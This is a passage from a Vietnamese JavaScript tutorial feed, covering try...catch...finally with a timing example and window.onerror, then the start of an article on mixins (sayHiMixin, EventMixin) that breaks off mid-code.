<code>try -> finally</code>.</li> </ol> <p>Mệnh đề <code>finally</code> thường được sử dụng khi bạn bắt đầu làm điều gì đó và muốn hoàn thành với bất kỳ kết quả nào xảy ra.</p> <p>Ví dụ, mình muốn đo thời gian mà hàm <strong>Fibonacci</strong> <code>fib(n)</code> hoạt động. Đương nhiên, bạn có thể bắt đầu đo trước khi hàm chạy và kết thúc sau đó. Nhưng nếu có lỗi trong khi gọi hàm thì sao?</p> <p>Đặc biệt, việc thực hiện <code>fib(n)</code> trong đoạn code dưới đây trả về lỗi với các số <code>n</code> là <strong>âm hoặc không phải số nguyên</strong>.</p> <p>Khi đó, mệnh đề <code>finally</code> là một vị trí phù hợp để hoàn thành các phép đo.</p> <p>Ở đây, <code>finally</code> đảm bảo rằng thời gian sẽ được đo chính xác trong cả hai tình huống - trong trường hợp thực hiện thành công <code>fib(n)</code> cũng như trường hợp có lỗi xảy ra:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Enter a positive integer number?"</span><span class="token punctuation">,</span> <span class="token number">35</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> diff<span class="token punctuation">,</span> result<span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">fib</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span> <span class="token operator">||</span> Math<span class="token punctuation">.</span><span class="token function">trunc</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span> <span class="token operator">!=</span> n<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Must not be negative, and also an integer."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> n <span class="token operator">&lt;=</span> <span class="token number">1</span> <span class="token operator">?</span> n <span class="token operator">:</span> <span class="token function">fib</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token function">fib</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> start <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token function">fib</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> diff <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> start<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result <span class="token operator">||</span> <span class="token string">"error occurred"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">execution took </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>diff<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể kiểm tra lại bằng cách chạy chương trình với việc nhập <code>n</code> bằng <code>35</code> vào trong <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/">hàm <code>prompt</code></a> - trường hợp này hoạt động bình thường, <code>finally</code> sau <code>try</code>.</p> <p>Và sau đó bạn thử nhập <code>-1</code> - sẽ có lỗi ngay lập tức và quá trình thực thi sẽ diễn ra sau <code>0ms</code>. Cả hai phép đo đều được thực hiện một cách chính xác.</p> <p>Nói cách khác, hàm có thể kết thúc với <code>return</code> hoặc <code>throw</code>, điều đó không quan trọng. Mệnh đề <code>finally</code> luôn được thực hiện trong cả hai trường hợp.</p> <p><strong>Chú ý:</strong></p> <ul> <li>Trong ví dụ trên, các biến <code>result</code> và <code>diff</code> được khai báo bên ngoài cấu trúc <code>try...catch...finally</code>. Ngược lại, nếu bạn khai báo các biến này với <a href="/bien-la-gi-bien-trong-javascript/"><code>let</code></a> trong khối <code>try</code> thì chúng chỉ được nhìn thấy trong đó.</li> <li>Mệnh đề <code>finally</code> được gọi trong mọi trường hợp, kể cả việc bạn sử dụng <code>return</code> trong <code>try...catch</code>.</li> <li>Cú pháp <code>try...finally</code> với việc bỏ qua <code>catch</code> đôi khi là hữu ích khi bạn <strong>không muốn handle lỗi</strong> nhưng lại muốn đảm bảo rằng đoạn code trong <code>finally</code> luôn được thực thi.</li> </ul> <h2 id="xử-lý-catch-toàn-cục" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-catch-to%C3%A0n-c%E1%BB%A5c" aria-label="xử lý catch toàn cục permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý "catch" toàn cục</h2> <p>Giả sử, bạn gặp một lỗi nghiêm trọng bên ngoài <code>try...catch</code> khiến chương trình crash.</p> <p>Và bạn có thể muốn ghi lại lỗi, hiển thị một điều gì đó cho người dùng (thông thường họ không thấy thông báo lỗi), v.v.</p> <p>Không có một cách thức chung nào, nhưng các môi trường khác nhau (trình duyệt, Node.js,...) thường cung cấp công cụ cho việc đó, bởi vì điều này thực sự hữu ích.</p> <p>Ví dụ, Node.js có <a href="https://nodejs.org/api/process.html#process_event_uncaughtexception"><code>process.on("uncaughtException")</code></a>. Và trên trình duyệt, bạn có thể gán một hàm cho thuộc tính đặc biệt là <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onerror">window.onerror</a> - hàm đó sẽ chạy trong trường hợp có lỗi không giải quyết được.</p> <p>Cú pháp của <code>window.onerrror</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> url<span class="token punctuation">,</span> line<span class="token punctuation">,</span> col<span class="token punctuation">,</span> error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>message</code>: thông báo lỗi.</li> <li><code>url</code>: URL của tập lệnh đã xảy ra lỗi.</li> <li><code>line</code>,<code>col</code>: số dòng và số cột đã xảy ra lỗi.</li> <li><code>error</code>: đối tượng lỗi.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> url<span class="token punctuation">,</span> line<span class="token punctuation">,</span> col<span class="token punctuation">,</span> error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>message<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">\n At </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>line<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>col<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> of </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>url<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">readData</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">badFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;- có lỗi xảy ra</span> <span class="token punctuation">}</span> <span class="token function">readData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Vai trò của <code>window.onerror</code> thường không phải để khôi phục việc thực thi tập lệnh - điều đó là không thể trong trường hợp lỗi do lập trình, mà là để gửi thông báo lỗi đến lập trình viên.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Cấu trúc <code>try...catch</code> cho phép xử lý các lỗi <strong>runtime</strong>. Theo nghĩa đen, cấu trúc này cho phép <strong>thử</strong> chạy đoạn mã và <strong>bắt</strong> các lỗi có thể xảy ra trong đó.</p> <p>Cú pháp đầy đủ của <code>try...catch</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">// code thực hiện</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nhảy vào đây nếu có lỗi,</span> <span class="token comment">// thông tin lỗi lấy từ đối tượng error</span> <span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span> <span class="token comment">// khối lệnh được thực thi trong mọi trường hợp</span> <span class="token comment">// sau try/catch</span> <span class="token punctuation">}</span></code></pre></div> <p>Cấu trúc trên có thể không có <code>catch</code> hoặc không có <code>finally</code>. Do đó, các cấu trúc ngắn hơn như <code>try...catch</code> và <code>try...finally</code> cũng hợp lệ.</p> <p>Các đối tượng lỗi bao gồm các thuộc tính sau:</p> <ul> <li><code>message</code> - thông báo lỗi cụ thể - dễ dàng đọc hiểu được.</li> <li><code>name</code> - đoạn string thể hiện tên lỗi (hoặc tên hàm tạo lỗi).</li> <li><code>stack</code> (không chuẩn, nhưng được hỗ trợ tốt) - ngăn xếp (call stack) tại thời điểm tạo lỗi.</li> </ul> <p>Nếu một đối tượng lỗi không cần thiết, bạn có thể bỏ qua nó bằng cách sử dụng <code>catch {</code> thay vì <code>catch (err) {</code>.</p> <p>Ngoài ra, bạn cũng có thể tạo ra lỗi của riêng mình bằng cách sử dụng toán tử <code>throw</code>. Về cơ bản, tham số của <code>throw</code> có thể là bất cứ thứ gì, nhưng thường thì đó là một đối tượng lỗi <a href="/ke-thua-class-trong-javascript/">kế thừa</a> từ class <code>Error</code> có sẵn.</p> <p><strong>Rethrowing</strong> là một cách xử lý lỗi rất quan trọng: khối <code>catch</code> thường chỉ xử lý các lỗi biết trước. Vì vậy, nếu bạn gặp các lỗi không mong đợi thì có thể <code>throw error</code> để khối <code>try...catch</code> bên ngoài bắt và xử lý.</p> <p>Ngay cả khi bạn không có <code>try...catch</code>, hầu hết các môi trường (trình duyệt, Node.js,...) đều cho phép bạn thiết lập một hàm toàn cục để bắt các lỗi xảy ra. Với trình duyệt, đó là <code>window.onerror</code>.</p> <p>Tham khảo: <a href="https://javascript.info/try-catch">Error handling, "try...catch"</a></p>[email protected]<![CDATA[Kĩ thuật Mixin trong JavaScript]]><![CDATA[Trong JavaScript, bạn chỉ có thể kế thừa từ một đối tượng duy nhất. Nghĩa là chỉ có một [[Prototype]] cho một đối tượng. Và mỗi lớp chỉ có thể mở rộng duy nhất - một lớp khác.…]]>https://completejavascript.com/ky-thuat-mixin-trong-javascript/https://completejavascript.com/ky-thuat-mixin-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]>Tue, 04 Jul 2017 20:00:00 GMT<p>Trong JavaScript, bạn chỉ có thể <a href="/ke-thua-class-trong-javascript/">kế thừa</a> từ một đối tượng duy nhất. Nghĩa là chỉ có một <code>[[Prototype]]</code> cho một đối tượng. Và mỗi lớp chỉ có thể mở rộng <strong>duy nhất</strong> - một lớp khác.</p> <p>Nhưng đôi khi việc này lại gây ra sự hạn chế. Ví dụ, mình có class <code>StreetSweeper</code> và class <code>Bicycle</code>. Sau đó, mình muốn kết hợp chúng để tạo ra class <code>StreetSweepingBicycle</code>.</p> <p>Hoặc mình có class <code>User</code> với class <code>EventEmitter</code> - lớp triển khai tạo sự kiện. Và mình muốn thêm chức năng của <code>EventEmitter</code> vào <code>User</code>, để đối tượng của class <code>User</code> có thể tạo ra các sự kiện.</p> <p>Để làm được việc này, có một khái niệm hữu ích trong lập trình mà bạn cần biết, đó là <strong>mixin</strong>.</p> <p>Như được định nghĩa trong Wikipedia, <a href="https://en.wikipedia.org/wiki/Mixin">mixin</a> là một lớp chứa các phương thức có thể được sử dụng bởi các lớp khác mà <strong>không cần kế thừa</strong> từ nó.</p> <p>Nói cách khác, <strong>mixin</strong> cung cấp các phương thức triển khai một hành vi, nhiệm vụ nhất định. Nhưng bạn không sử dụng các phương thức đó một mình, bạn sử dụng chúng để thêm hành vi vào các lớp khác.</p> <h2 id="một-ví-dụ-về-mixin" style="position:relative;"><a href="#m%E1%BB%99t-v%C3%AD-d%E1%BB%A5-v%E1%BB%81-mixin" aria-label="một ví dụ về mixin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một ví dụ về mixin</h2> <p><strong>Cách đơn giản nhất để triển khai một mixin trong JavaScript</strong> là tạo ra đối tượng với các phương thức để có thể dễ dàng tích hợp chúng thành nguyên mẫu (prototype) của bất kỳ lớp nào.</p> <p>Ví dụ, mixin <code>sayHiMixin</code> sau đây cung cấp một số phương thức cho <code>User</code> để <code>sayHi</code> và <code>sayBye</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Định nghĩa mixin</span> <span class="token keyword">let</span> sayHiMixin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">sayBye</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Bye </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng:</span> <span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// copy các phương thức từ sayHiMixin vào User</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">,</span> sayHiMixin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sau đó, đối tượng thuộc user có thể dùng sayHi</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Alex!</span></code></pre></div> <p>Ví dụ trên không có sự kế thừa, mà chỉ đơn giản là <strong>thực hiện sao chép</strong> với phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"><code>Object.assign</code></a>. Do đó, <code>User</code> có thể kế thừa từ một lớp khác và cũng bao gồm mixin với các phương thức bổ sung, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// User kế thừa từ Person</span> <span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token keyword">extends</span> <span class="token class-name">Person</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token punctuation">}</span> <span class="token comment">// Copy các phương thức từ mixin vào User.prototype</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">,</span> sayHiMixin<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, <strong>mixin</strong> có thể tận dụng tính kế thừa bên trong chúng. Ví dụ, ở đây <code>sayHiMixin</code> kế thừa từ <code>sayMixin</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Định nghĩa sayMixin</span> <span class="token keyword">let</span> sayMixin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">say</span><span class="token punctuation">(</span><span class="token parameter">phrase</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>phrase<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// sayHiMixin kế thừa từ sayMixin</span> <span class="token keyword">let</span> sayHiMixin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> sayMixin<span class="token punctuation">,</span> <span class="token comment">// (hoặc dùng Object.setPrototypeOf)</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// gọi phương thức cha</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">say</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">sayBye</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">say</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Bye </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Định nghĩa User</span> <span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Sao chép phương thức từ sayHiMixin vào User.prototype</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">,</span> sayHiMixin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đối tượng thuộc user có thể gọi sayHi</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Alex!</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> câu lệnh gọi phương thức cha <code>super.say()</code> từ <code>sayHiMixin</code> tại <code>(*)</code> tìm kiếm phương thức trong nguyên mẫu (prototype) của chính mixin đó, mà không phải từ class.</p> </blockquote> <p>Đó là bởi phương thức <code>sayHi</code> và <code>sayBye</code> ban đầu được tạo trong <code>sayHiMixin</code>. Vì vậy, mặc dù các phương thức này đã bị sao chép, nhưng thuộc tính nội bộ <a href="https://262.ecma-international.org/10.0/#table-16"><code>[[HomeObject]]</code></a> vẫn được tham chiếu đến <code>sayHiMixin</code>.</p> <p>Vì phương thức <code>super</code> tìm kiếm các phương thức gốc trong <code>[[HomeObject]].[[Prototype]]</code>, nói cách khác là tìm kiếm <code>sayHiMixin.[[Prototype]]</code>, chứ không phải <code>User.[[Prototype]]</code>.</p> <h2 id="ví-dụ-về-eventmixin" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-v%E1%BB%81-eventmixin" aria-label="ví dụ về eventmixin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ về EventMixin</h2> <p>Sau đây, mình sẽ cùng thử xây dựng một mixin thực tế hơn. Đó là <code>EventMixin</code> - được áp dụng nhiều trong trình duyệt.</p> <p>Như bạn đã biết, một tính năng quan trọng của <strong>nhiều đối tượng trên trình duyệt</strong> là khả năng tạo ra các sự kiện. <strong>Sự kiện</strong> là một cách hiệu quả để <strong>phát thông tin</strong> cho bất kỳ đối tượng nào muốn nhận.</p> <p>Sau đây, mình tạo mixin <code>EventMixin</code> cho phép dễ dàng <strong>thêm các hàm liên quan đến sự kiện</strong> vào bất kỳ <strong>class/đối tượng</strong> nào.</p> <h3 id="mô-tả-về-eventmixin" style="position:relative;"><a href="#m%C3%B4-t%E1%BA%A3-v%E1%BB%81-eventmixin" aria-label="mô tả về eventmixin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mô tả về <code>EventMixin</code>:</h3> <p><code>EventMixin</code> bao gồm các phương thức sau:</p> <ul> <li>Phương thức <code>.trigger(name, [...data])</code> để <strong>tạo một sự kiện</strong> khi có điều gì đó xảy ra. <ul> <li>Đối số <code>name</code> là tên của sự kiện.</li> <li>Theo sau đó là đối số bổ sung với dữ liệu sự kiện (nếu có).</li> </ul> </li> <li>Phương thức <code>.on(name, handler)</code> bổ sung hàm <code>handler</code> như trình xử lý cho các sự kiện với <strong>tên đã cho</strong>. <ul> <li>Các <code>handler</code> được gọi khi một sự kiện có tên là <code>name</code> được kích hoạt và nhận các đối số từ lệnh gọi <code>.trigger</code>.</li> </ul> </li> <li>Phương thức <code>.off(name, handler)</code> loại bỏ hàm <code>handler</code> đã đăng ký.</li> </ul> <p>Sau khi thêm mixin, đối tượng <code>user</code> sẽ có thể tạo sự kiện <code>login</code> khi khách truy cập đăng nhập. Và một đối tượng khác, ví dụ như <code>calendar</code> muốn <strong>lắng nghe các sự kiện như vậy để tải lịch</strong> cho người đã đăng nhập.</p> <p>Hoặc, một <code>menu</code> tạo ra sự kiện <code>select</code> khi một menu item được chọn và các đối tượng khác có thể <strong>chỉ định hàm xử lý</strong> để phản ứng với sự kiện đó.</p> <h3 id="code-triển-khai-eventmixin" style="position:relative;"><a href="#code-tri%E1%BB%83n-khai-eventmixin" aria-label="code triển khai eventmixin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code triển khai <code>EventMixin</code></h3> <p>Sau đây là đoạn code triển khai <code>EventMixin</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> eventMixin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">/** * Đăng ký sự kiện, ví dụ: * menu.on('select', function(item) {... } */</span> <span class="token function">on</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> handler</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token punctuation">)</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token 